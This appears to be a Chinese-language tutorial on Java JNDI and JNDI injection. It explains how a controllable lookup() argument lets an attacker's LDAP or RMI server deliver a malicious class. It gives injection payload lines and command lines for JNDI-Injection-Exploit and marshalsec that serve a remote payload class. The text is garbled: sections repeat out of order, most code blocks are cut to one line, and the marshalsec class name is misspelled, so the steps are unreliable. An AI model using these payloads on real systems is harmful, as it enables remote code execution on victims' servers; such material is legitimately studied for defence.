Java-JNDI
Java-JNDI
JNDI 是什么
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 提供统一的客户端 API,通过不同的 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
JNDI 注入原理分析
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的 Java 客户端的 JNDI 请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意 Java 对象载荷(reference 实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。
1 | package org.example; |
代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup () 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。
JNDI 远程调用:JNDI-Injection
1,使用远程调用(默认端口 1389)
1 | new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test"); |
2,利用工具生成调用地址
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx |
JNDI 远程调用 - marshalsec
2,利用工具生成调用地址
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx |
JNDI 远程调用 - marshalsec
1,使用远程端口 (默认端口 1389)
1 | new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test"); |
2,编译对象
1 | javac Test.java //编译为.class |
1 | //Test.java |
3,使用工具生成调用协议(rmi,ldap)
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LADPRefServeer http://0.0.0.0/Test |
注意:不同 JDK 版本中 JNDI 注入存在的限制及绕过方法